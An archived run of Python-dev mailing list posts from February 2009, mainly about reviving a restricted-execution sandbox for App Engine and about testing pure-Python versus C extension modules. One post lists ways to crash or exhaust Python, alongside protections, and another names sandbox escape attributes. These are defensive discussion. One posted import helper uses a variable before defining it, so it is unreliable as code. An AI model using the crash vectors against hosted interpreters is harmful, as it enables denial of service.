environment for App Engine, why not just use the RestrictedPython 
package (i.e., http://pypi.python.org/pypi/RestrictedPython )?



From guido at python.org  Mon Feb 23 04:56:20 2009
From: guido at python.org (Guido van Rossum)
Date: Sun, 22 Feb 2009 19:56:20 -0800
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <20090223033749.6C7743A4075@sparrow.telecommunity.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<20090223033749.6C7743A4075@sparrow.telecommunity.com>
Message-ID: <ca471dc20902221956r10dd71e4v9df9db0c1dcd4607@mail.gmail.com>

On Sun, Feb 22, 2009 at 7:39 PM, P.J. Eby <pje at telecommunity.com> wrote:
> At 08:45 AM 2/22/2009 -0800, Guido van Rossum wrote:
>>
>> I've received some enthusiastic emails from someone who wants to
>> revive restricted mode. He started out with a bunch of patches to the
>> CPython runtime using ctypes, which he attached to an App Engine bug:
>>
>> http://code.google.com/p/googleappengine/issues/detail?id=671
>>
>> Based on his code (the file secure.py is all you need, included in
>> secure.tar.gz) it seems he believes the only security leaks are
>> __subclasses__, gi_frame and gi_code. (I have since convinced him that
>> if we add "restricted" guards to these attributes, he doesn't need the
>> functions added to sys.)
>>
>> I don't recall the exploits that Samuele once posted that caused the
>> death of rexec.py -- does anyone recall, or have a pointer to the
>> threads?
>
> Just a question, but, if you just need a pure-python restricted environment
> for App Engine, why not just use the RestrictedPython package (i.e.,
> http://pypi.python.org/pypi/RestrictedPython )?

How does that work? Remember, app engine doesn't support certain
things, and bytecode manipulations (if that's what RestrictedPython
does) are one of the unsupported things.

The other reason I can think of is that Tav is a capabilities purist. :-)

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From pje at telecommunity.com  Mon Feb 23 05:14:54 2009
From: pje at telecommunity.com (P.J. Eby)
Date: Sun, 22 Feb 2009 23:14:54 -0500
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <ca471dc20902221956r10dd71e4v9df9db0c1dcd4607@mail.gmail.co
 m>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<20090223033749.6C7743A4075@sparrow.telecommunity.com>
	<ca471dc20902221956r10dd71e4v9df9db0c1dcd4607@mail.gmail.com>
Message-ID: <20090223041244.984373A4075@sparrow.telecommunity.com>

At 07:56 PM 2/22/2009 -0800, Guido van Rossum wrote:
>On Sun, Feb 22, 2009 at 7:39 PM, P.J. Eby <pje at telecommunity.com> wrote:
> > Just a question, but, if you just need a pure-python restricted environment
> > for App Engine, why not just use the RestrictedPython package (i.e.,
> > http://pypi.python.org/pypi/RestrictedPython )?
>
>How does that work? Remember, app engine doesn't support certain
>things, and bytecode manipulations (if that's what RestrictedPython
>does) are one of the unsupported things.

It doesn't modify bytecode, it modifies an AST.  It basically 
replaces prints, and attribute/item read/writes with function 
calls.  Unfortunately, it does this AST modification by running as a 
traversal against the stdlib compiler package's AST, not a modern 
AST.  So, I suppose it might not be usable as-is on app engine.

It does, however, have the advantage of having been used in Zope for 
oh, six or seven years now?  ISTM that it first came out around the 
same time as Python 2.3, and the latest version just dropped support 
for Python 2.1 and 2.2.  So, if you want something that wasn't thrown 
together in an afternoon, it might be a good thing to take a look at.  ;-)


>The other reason I can think of is that Tav is a capabilities purist. :-)

You can implement capabilities on top of RestrictedPython; it's 
simply a policy-neutral enforcement framework.


From aahz at pythoncraft.com  Mon Feb 23 07:41:21 2009
From: aahz at pythoncraft.com (Aahz)
Date: Sun, 22 Feb 2009 22:41:21 -0800
Subject: [Python-Dev] Choosing a best practice solution
	for	Python/extension modules
In-Reply-To: <bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
	<20090221234646.GA19226@panix.com>
	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>
	<20090222041232.GA25580@panix.com>
	<bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>
Message-ID: <20090223064120.GA22889@panix.com>

On Sun, Feb 22, 2009, Brett Cannon wrote:
> On Sat, Feb 21, 2009 at 20:12, Aahz <aahz at pythoncraft.com> wrote:
>> On Sat, Feb 21, 2009, Brett Cannon wrote:
>>> On Sat, Feb 21, 2009 at 15:46, Aahz <aahz at pythoncraft.com> wrote:
>>>> On Sat, Feb 21, 2009, Brett Cannon wrote:
>>>>>
>>>>> I am seeing two approaches emerging. One is where pickle contains all
>>>>> Python code and then uses something like use_extension to make sure
>>>>> the original Python objects are still reachable at some point. This
>>>>> has the drawback that you have to use some function to make the
>>>>> extensions happen and there is some extra object storage.
>>>>>
>>>>> The other approach is having pickle contain code known not to
>>>>> be overridden by anyone, import _pypickle for stuff that may be
>>>>> overridden, and then import _pickle for whatever is available. This
>>>>> approach has the perk of using a standard practice for how to pull in
>>>>> different implementation. But the drawback, thanks to how globals are
>>>>> bound, is that any code pulled in from _pickle/_pypickle will not be
>>>>> able to call into other optimized code; it's a take or leave it once
>>>>> the call chain enters one of those modules as they will always call
>>>>> the implementations in the module they originate from.
>>>>
>>>> To what extent do we care about being able to select Python-only on a
>>>> per-module basis, particularly in the face of threaded imports?  That
>> is,
>>>> we could have a sys.python_only attribute that gets checked on import.
>>>> That's simple and direct, and even allows per-module switching if the
>>>> application really cares and import doesn't need to worry about threads.
>>>>
>>>> Alternatively, sys.python_only could be a set, but that gets ugly about
>>>> setting from the application.  (The module checks to see whether it's
>>>> listed in sys.python_only.)
>>>>
>>>> Maybe we should move this discussion to python-ideas for now to kick
>>>> around really oddball suggestions?
>>>
>>> This is all about testing. If a change is made to some extension code it
>>> should be mirrored in the Python code and vice-versa.
>>
>> Okay, I don't see how that is a response to my suggestion -- I can
>> imagine that someone might want to test a combination of pure-Python and
>> binary libraries.
> 
> I don't want to move it because this isn't some idea for a new feature that
> may or may not be useful; this isn't an "idea", it's needed.

That's fine, but what about my idea of using sys.python_only?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From lcotton at broadcom.com  Mon Feb 23 10:02:23 2009
From: lcotton at broadcom.com (Larry (Laurence) Cotton)
Date: Mon, 23 Feb 2009 01:02:23 -0800
Subject: [Python-Dev] gdbinit and Gdb wrapper objects
Message-ID: <2DFD360E328B3941911E6D28B085D9901027B5BF9B@SJEXCHCCR01.corp.ad.broadcom.com>

Hi

I am trying to use python gdb to debug a python process that is hanginig - it is a thread lock situation.

I have been trying to use the gdbinit macros to help me in this, but when I attempt to access f->f_nlocals in a PyEval_EvalFrameEx object it informs There is no member named f_nlocals. Consequently pylocals does not work.

1) Does anyone have any idea why this might be happening ?
2) I have been unable to find any documentation (other than the gdbinit macros) about the make up of the Gdb wrapper objects and how to access the information in them. Does anyone know where I might get hold of some ?

Cheers
Larry

Larry Cotton
Software Engineer, System Test
Broadcom, Cambridge
Tel: +44 (0)1223 382835

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/6eea5486/attachment.htm>

From martin at v.loewis.de  Mon Feb 23 10:14:11 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 23 Feb 2009 10:14:11 +0100
Subject: [Python-Dev] gdbinit and Gdb wrapper objects
In-Reply-To: <2DFD360E328B3941911E6D28B085D9901027B5BF9B@SJEXCHCCR01.corp.ad.broadcom.com>
References: <2DFD360E328B3941911E6D28B085D9901027B5BF9B@SJEXCHCCR01.corp.ad.broadcom.com>
Message-ID: <49A268E3.7020705@v.loewis.de>

> I am trying to use python gdb to debug a python process that is hanginig
> - it is a thread lock situation.

Larry,

python-dev is a mailing list for the development of Python, not the
development with Python. So this question is off-topic.

> 1) Does anyone have any idea why this might be happening ?

Most likely, you didn't compile Python for debugging.

> 2) I have been unable to find any documentation (other than the gdbinit
> macros) about the make up of the Gdb wrapper objects and how to access
> the information in them. Does anyone know where I might get hold of some ?

I don't even know what a "Gdb wrapper object" is...

Regards,
Martin

From ncoghlan at gmail.com  Mon Feb 23 13:02:50 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 23 Feb 2009 22:02:50 +1000
Subject: [Python-Dev] Choosing a best practice solution
 for	Python/extension modules
In-Reply-To: <bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>	<20090221234646.GA19226@panix.com>	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>	<20090222041232.GA25580@panix.com>
	<bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>
Message-ID: <49A2906A.3030202@gmail.com>

Brett Cannon wrote:
> I don't want to move it because this isn't some idea for a new feature
> that may or may not be useful; this isn't an "idea", it's needed.

It is needed, but it's only really needed in the test suite. The
"sys.modules hackery" needed to get a Python-only version using the
existing idiom really isn't that complicated and the associated import
behaviour is perfectly well defined (putting a 0 in sys.modules may
currently be a bit questionable, but I'd prefer to make sure that is
officially supported with the desired effect rather than trying to
define a new idiom for the actual library code for handling optional
optimised extension modules).

So, I'm still not seeing any significant problem with providing a
utility function in test.support that hides that hackery and returns the
pure Python version of the module.

For example, a version that allows any number of extension modules to be
suppressed when importing a module (defaulting to the Foo/_Foo naming):

  import sys
  def import_python_only(mod_name, *ext_names):
    if not ext_names:
        ext_names = (("_" + mod_name),)
    orig_modules = {}
    if name in sys.modules:
      orig_modules[name] = sys.modules[name]
      del sys.modules[name]
    try:
      for name in ext_names:
        orig_modules[name] = sys.modules[name]
        sys.modules[name] = 0
      py_module = importlib.import_module(mod_name)
    finally:
      for name, module in orig_modules.items():
        sys.modules[name] = module
    return py_module

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From ziade.tarek at gmail.com  Mon Feb 23 14:16:17 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Mon, 23 Feb 2009 14:16:17 +0100
Subject: [Python-Dev] Greg Ward email
Message-ID: <94bdd2610902230516u6395ee87q62cf94871e04d6bb@mail.gmail.com>

Hello,

I am trying to reach Greg Ward to get a maintainer access to Distutils
at PyPI, but his email address at python.net (and some other) doesn't
work anymore.

Anyone knows how to reach him ?

Thanks
Tarek

-- 
Tarek Ziad? | Association AfPy | www.afpy.org
Blog FR | http://programmation-python.org
Blog EN | http://tarekziade.wordpress.com/

From sjlaansr at hotmail.com  Mon Feb 23 14:20:48 2009
From: sjlaansr at hotmail.com (Simon Laan)
Date: Mon, 23 Feb 2009 14:20:48 +0100
Subject: [Python-Dev] socket recv on win32 can be extremly
	delayed	$python bug?$
Message-ID: <BAY105-W105E5FAC2A6C017216D79DD5AE0@phx.gbl>



_________________________________________________________________
Blijf altijd op de hoogte van wat jouw vrienden doen
http://home.live.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/5c38fa60/attachment.htm>

From guido at python.org  Mon Feb 23 16:10:05 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 07:10:05 -0800
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <20090223041244.984373A4075@sparrow.telecommunity.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<20090223033749.6C7743A4075@sparrow.telecommunity.com>
	<ca471dc20902221956r10dd71e4v9df9db0c1dcd4607@mail.gmail.com>
	<20090223041244.984373A4075@sparrow.telecommunity.com>
Message-ID: <ca471dc20902230710w772682b1y145f3a86827430a3@mail.gmail.com>

On Sun, Feb 22, 2009 at 8:14 PM, P.J. Eby <pje at telecommunity.com> wrote:
> At 07:56 PM 2/22/2009 -0800, Guido van Rossum wrote:
>>
>> On Sun, Feb 22, 2009 at 7:39 PM, P.J. Eby <pje at telecommunity.com> wrote:
>> > Just a question, but, if you just need a pure-python restricted
>> > environment
>> > for App Engine, why not just use the RestrictedPython package (i.e.,
>> > http://pypi.python.org/pypi/RestrictedPython )?
>>
>> How does that work? Remember, app engine doesn't support certain
>> things, and bytecode manipulations (if that's what RestrictedPython
>> does) are one of the unsupported things.
>
> It doesn't modify bytecode, it modifies an AST.  It basically replaces
> prints, and attribute/item read/writes with function calls.

If it rewrites *every* attribute read/write with a function call that
can get really expensive. Are you saying it also replaces
getitem/setitem? Even worse.

> Unfortunately,
> it does this AST modification by running as a traversal against the stdlib
> compiler package's AST, not a modern AST.  So, I suppose it might not be
> usable as-is on app engine.

Actually, its essential components are easily retrieved through a hack
(Google for it ;-). If I weren't so busy I would have made it
importable a long time agon.

> It does, however, have the advantage of having been used in Zope for oh, six
> or seven years now?  ISTM that it first came out around the same time as
> Python 2.3, and the latest version just dropped support for Python 2.1 and
> 2.2.  So, if you want something that wasn't thrown together in an afternoon,
> it might be a good thing to take a look at.  ;-)
>
>
>> The other reason I can think of is that Tav is a capabilities purist. :-)
>
> You can implement capabilities on top of RestrictedPython; it's simply a
> policy-neutral enforcement framework.
>
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From victor.stinner at haypocalc.com  Mon Feb 23 16:57:52 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Mon, 23 Feb 2009 16:57:52 +0100
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
Message-ID: <200902231657.52201.victor.stinner@haypocalc.com>

Le Sunday 22 February 2009 17:45:27 Guido van Rossum, vous avez ?crit?:
> I've received some enthusiastic emails from someone who wants to
> revive restricted mode. 
> (...) 
> Based on his code (the file secure.py is all you need, included in
> secure.tar.gz) it seems he believes the only security leaks are
> __subclasses__, gi_frame and gi_code. (I have since convinced him that
> if we add "restricted" guards to these attributes, he doesn't need the
> functions added to sys.)

Some ways to "crash" Python:

 - use ctypes: invalid memory read/write
 - use os.kill(): kill the current process
 - call buggy function: invalid memory read/write or denial of service
 - "while 1: pass": denial of service
 - allocate many huge objects: MemoryError (maybe invalid memory read/write)
 - load a buggy .pyc file: invalid memory read/write
 - recursive structures/function calls: stack overflow (in buggy functions,
   see the bug tracker)
 - etc.

Protections against these attacks:

 - Module whitelist (or a least use a blacklist of all modules written in C)
 - use system quota: resource.setrlimit() on Linux => set max CPU 
   time and max memory limits (or signal.alarm() for the timeout)
 - Run a fuzzer on Python and fix all bugs :-)

I wrote a short document in Python's wiki on the different security projects:

   http://wiki.python.org/moin/Security

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From guido at python.org  Mon Feb 23 17:01:50 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 08:01:50 -0800
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <200902231657.52201.victor.stinner@haypocalc.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<200902231657.52201.victor.stinner@haypocalc.com>
Message-ID: <ca471dc20902230801y47b9dba5y96a8f025c1e22326@mail.gmail.com>

None of those are useful attacks on app engine though.

On Mon, Feb 23, 2009 at 7:57 AM, Victor Stinner
<victor.stinner at haypocalc.com> wrote:
> Le Sunday 22 February 2009 17:45:27 Guido van Rossum, vous avez ?crit :
>> I've received some enthusiastic emails from someone who wants to
>> revive restricted mode.
>> (...)
>> Based on his code (the file secure.py is all you need, included in
>> secure.tar.gz) it seems he believes the only security leaks are
>> __subclasses__, gi_frame and gi_code. (I have since convinced him that
>> if we add "restricted" guards to these attributes, he doesn't need the
>> functions added to sys.)
>
> Some ways to "crash" Python:
>
>  - use ctypes: invalid memory read/write
>  - use os.kill(): kill the current process
>  - call buggy function: invalid memory read/write or denial of service
>  - "while 1: pass": denial of service
>  - allocate many huge objects: MemoryError (maybe invalid memory read/write)
>  - load a buggy .pyc file: invalid memory read/write
>  - recursive structures/function calls: stack overflow (in buggy functions,
>   see the bug tracker)
>  - etc.
>
> Protections against these attacks:
>
>  - Module whitelist (or a least use a blacklist of all modules written in C)
>  - use system quota: resource.setrlimit() on Linux => set max CPU
>   time and max memory limits (or signal.alarm() for the timeout)
>  - Run a fuzzer on Python and fix all bugs :-)
>
> I wrote a short document in Python's wiki on the different security projects:
>
>   http://wiki.python.org/moin/Security
>
> --
> Victor Stinner aka haypo
> http://www.haypocalc.com/blog/
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From tav at espians.com  Mon Feb 23 18:23:08 2009
From: tav at espians.com (tav)
Date: Mon, 23 Feb 2009 17:23:08 +0000
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <49A1CE8D.9000508@v.loewis.de>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
	<49A1CE8D.9000508@v.loewis.de>
Message-ID: <eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>

Dearest fellow Python lovers,

Could one of you please review:

  http://codereview.appspot.com/20051

The patch is a mere 6 lines of code and provides the absolute minimum
that is needed to secure the Python interpreter! [This patch is for
Python 2.5.4 -- I can create one for the other branches too if
wanted...]

It turns out that the __builtins__ based restricted framework is pure
genius and gives us nearly everything that's needed to secure our
beloved interpreter. This patch simply closes the two holes in 2.5.x
-- type.__subclasses__ and GeneratorType.gi_frame.
GeneratorType.gi_code would need to be restricted in 2.6 and above.

The problem with rexec and brethren have simply been that we tried to
do class-based sandboxing. This approach is filled with dark
exploitable corners. In contrast, a function-based approach gives us
security through the simplicity of the object-capability model.

Or at least I currently believe so =)

Once this patch gets through onto App Engine, I'll create an app with
a sandboxed framework built around it and you can all prove me wrong.
But, for the sake of my relationship with the missus, I hope not ;p

Please note that this patch doesn't do anything to prevent any of the
various crashers in Python. It is not the intention of this patch to
make the interpreter invincible against segfaults or exhaustion of
resource attacks. For that, I heartily recommend taking a look at
PyPy's sandboxed interpreter and/or the magic of App Engine.

In the extremely remote chance that I am right -- pigs could fly,
right? ;p -- and the sandboxed App Engine app turns out to be
impenetrable, I would like to then get approval to simplify the
current restricted execution support in the interpreter and create a
modernised equivalent of the rexec module.

Does that seem reasonable to you all?

  tav>   http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util

  martin> What is the objective of this code? Is it a complete
  martin> sandbox? If not, is a complete sandbox based on
  martin> it available somehow for review?

Martin, sorry, not yet.

I'll code one once the patch gets through and release it for use/review.

And if people like it, it could form the basis for the modernised
rexec I mentioned above...

  krstic> http://radian.org/~krstic/sandbox.py

Thank you Ivan for that Genshi sample!

Would you be interested in working with me on the Genshi aspect for
the new sandbox framework?

  pje> Just a question, but, if you just need a pure-python
  pje> restricted environment for App Engine, why not just
  pje> use the RestrictedPython package?

I'm aware of the various Zope offerings.

Performance is the answer to your question.

Also, when it comes to security, I am a deep believer in simplicity.

Thanks again!

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian

From tav at espians.com  Mon Feb 23 18:37:47 2009
From: tav at espians.com (tav)
Date: Mon, 23 Feb 2009 17:37:47 +0000
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
	<49A1CE8D.9000508@v.loewis.de>
	<eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
Message-ID: <eb24b25b0902230937i27841dddjf861a78f5c36113d@mail.gmail.com>

And, here's a version for Python 2.6+ -- diffed against an svn
checkout of the current python/trunk:

  http://codereview.appspot.com/21051/show

Please review also. Cheers!

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian

From amk at amk.ca  Mon Feb 23 18:43:39 2009
From: amk at amk.ca (A.M. Kuchling)
Date: Mon, 23 Feb 2009 12:43:39 -0500
Subject: [Python-Dev] Greg Ward email
In-Reply-To: <94bdd2610902230516u6395ee87q62cf94871e04d6bb@mail.gmail.com>
References: <94bdd2610902230516u6395ee87q62cf94871e04d6bb@mail.gmail.com>
Message-ID: <20090223174339.GA10442@amk-desktop.matrixgroup.net>

On Mon, Feb 23, 2009 at 02:16:17PM +0100, Tarek Ziad? wrote:
> I am trying to reach Greg Ward to get a maintainer access to Distutils
> at PyPI, but his email address at python.net (and some other) doesn't
> work anymore.

Greg's website at www.gerg.ca (not a typo!) has e-mail addresses.

However, the package index entry at
http://pypi.python.org/pypi/Distutils/1.0 lists Greg as the author,
but it's not actually owned by him; it looks like some random person
registered it.  So we should probably just reassign the package to Tarek.

--amk

From ziade.tarek at gmail.com  Mon Feb 23 19:05:22 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Mon, 23 Feb 2009 19:05:22 +0100
Subject: [Python-Dev] Greg Ward email
In-Reply-To: <20090223174339.GA10442@amk-desktop.matrixgroup.net>
References: <94bdd2610902230516u6395ee87q62cf94871e04d6bb@mail.gmail.com>
	<20090223174339.GA10442@amk-desktop.matrixgroup.net>
Message-ID: <94bdd2610902231005x5c9156d4ic6b4cc9d6388b8af@mail.gmail.com>

On Mon, Feb 23, 2009 at 6:43 PM, A.M. Kuchling <amk at amk.ca> wrote:
> On Mon, Feb 23, 2009 at 02:16:17PM +0100, Tarek Ziad? wrote:
>> I am trying to reach Greg Ward to get a maintainer access to Distutils
>> at PyPI, but his email address at python.net (and some other) doesn't
>> work anymore.
>
> Greg's website at www.gerg.ca (not a typo!) has e-mail addresses.

Yes that's were I tried at first

>
> However, the package index entry at
> http://pypi.python.org/pypi/Distutils/1.0 lists Greg as the author,
> but it's not actually owned by him; it looks like some random person
> registered it.  So we should probably just reassign the package to Tarek.

That would be great, so i can start to release the standalone versions,

Thanks
Tarek

-- 
Tarek Ziad? | Association AfPy | www.afpy.org
Blog FR | http://programmation-python.org
Blog EN | http://tarekziade.wordpress.com/

From brett at python.org  Mon Feb 23 20:02:46 2009
From: brett at python.org (Brett Cannon)
Date: Mon, 23 Feb 2009 11:02:46 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <20090223064120.GA22889@panix.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
	<20090221234646.GA19226@panix.com>
	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>
	<20090222041232.GA25580@panix.com>
	<bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>
	<20090223064120.GA22889@panix.com>
Message-ID: <bbaeab100902231102j2e276845nc95519c8a293d224@mail.gmail.com>

On Sun, Feb 22, 2009 at 22:41, Aahz <aahz at pythoncraft.com> wrote:

> On Sun, Feb 22, 2009, Brett Cannon wrote:
> > On Sat, Feb 21, 2009 at 20:12, Aahz <aahz at pythoncraft.com> wrote:
> >> On Sat, Feb 21, 2009, Brett Cannon wrote:
> >>> On Sat, Feb 21, 2009 at 15:46, Aahz <aahz at pythoncraft.com> wrote:
> >>>> On Sat, Feb 21, 2009, Brett Cannon wrote:
> >>>>>
> >>>>> I am seeing two approaches emerging. One is where pickle contains all
> >>>>> Python code and then uses something like use_extension to make sure
> >>>>> the original Python objects are still reachable at some point. This
> >>>>> has the drawback that you have to use some function to make the
> >>>>> extensions happen and there is some extra object storage.
> >>>>>
> >>>>> The other approach is having pickle contain code known not to
> >>>>> be overridden by anyone, import _pypickle for stuff that may be
> >>>>> overridden, and then import _pickle for whatever is available. This
> >>>>> approach has the perk of using a standard practice for how to pull in
> >>>>> different implementation. But the drawback, thanks to how globals are
> >>>>> bound, is that any code pulled in from _pickle/_pypickle will not be
> >>>>> able to call into other optimized code; it's a take or leave it once
> >>>>> the call chain enters one of those modules as they will always call
> >>>>> the implementations in the module they originate from.
> >>>>
> >>>> To what extent do we care about being able to select Python-only on a
> >>>> per-module basis, particularly in the face of threaded imports?  That
> >> is,
> >>>> we could have a sys.python_only attribute that gets checked on import.
> >>>> That's simple and direct, and even allows per-module switching if the
> >>>> application really cares and import doesn't need to worry about
> threads.
> >>>>
> >>>> Alternatively, sys.python_only could be a set, but that gets ugly
> about
> >>>> setting from the application.  (The module checks to see whether it's
> >>>> listed in sys.python_only.)
> >>>>
> >>>> Maybe we should move this discussion to python-ideas for now to kick
> >>>> around really oddball suggestions?
> >>>
> >>> This is all about testing. If a change is made to some extension code
> it
> >>> should be mirrored in the Python code and vice-versa.
> >>
> >> Okay, I don't see how that is a response to my suggestion -- I can
> >> imagine that someone might want to test a combination of pure-Python and
> >> binary libraries.
> >
> > I don't want to move it because this isn't some idea for a new feature
> that
> > may or may not be useful; this isn't an "idea", it's needed.
>
> That's fine, but what about my idea of using sys.python_only?


But what is it supposed to represent? That only pure Python modules get
imported? What if the module depends on another module that is an extension
module?

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/b6637706/attachment-0001.htm>

From brett at python.org  Mon Feb 23 20:05:39 2009
From: brett at python.org (Brett Cannon)
Date: Mon, 23 Feb 2009 11:05:39 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <49A2906A.3030202@gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
	<20090221234646.GA19226@panix.com>
	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>
	<20090222041232.GA25580@panix.com>
	<bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>
	<49A2906A.3030202@gmail.com>
Message-ID: <bbaeab100902231105n3bd9f462w2c0bbd28030da35a@mail.gmail.com>

On Mon, Feb 23, 2009 at 04:02, Nick Coghlan <ncoghlan at gmail.com> wrote:

> Brett Cannon wrote:
> > I don't want to move it because this isn't some idea for a new feature
> > that may or may not be useful; this isn't an "idea", it's needed.
>
> It is needed, but it's only really needed in the test suite. The
> "sys.modules hackery" needed to get a Python-only version using the
> existing idiom really isn't that complicated and the associated import
> behaviour is perfectly well defined (putting a 0 in sys.modules may
> currently be a bit questionable, but I'd prefer to make sure that is
> officially supported with the desired effect rather than trying to
> define a new idiom for the actual library code for handling optional
> optimised extension modules).
>
> So, I'm still not seeing any significant problem with providing a
> utility function in test.support that hides that hackery and returns the
> pure Python version of the module.
>

Well, neither do I as your proposed approach below is what I do for
warnings. But I think you and I, Nick, are more comfortable with mucking
with imports than most people. =) I think some people early on in this
thread said they didn't like the idea of screwing around with sys.modules.
But doing that along with an import * from the extension module is probably
the simplest solution.

-Brett


>
> For example, a version that allows any number of extension modules to be
> suppressed when importing a module (defaulting to the Foo/_Foo naming):
>
>  import sys
>  def import_python_only(mod_name, *ext_names):
>    if not ext_names:
>        ext_names = (("_" + mod_name),)
>    orig_modules = {}
>    if name in sys.modules:
>      orig_modules[name] = sys.modules[name]
>      del sys.modules[name]
>    try:
>      for name in ext_names:
>        orig_modules[name] = sys.modules[name]
>        sys.modules[name] = 0
>      py_module = importlib.import_module(mod_name)
>    finally:
>      for name, module in orig_modules.items():
>        sys.modules[name] = module
>    return py_module
>
> Cheers,
> Nick.
>
> --
> Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
> ---------------------------------------------------------------
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/fbe5bef4/attachment.htm>

From brett at python.org  Mon Feb 23 20:32:47 2009
From: brett at python.org (Brett Cannon)
Date: Mon, 23 Feb 2009 11:32:47 -0800
Subject: [Python-Dev] Reviving restricted mode?
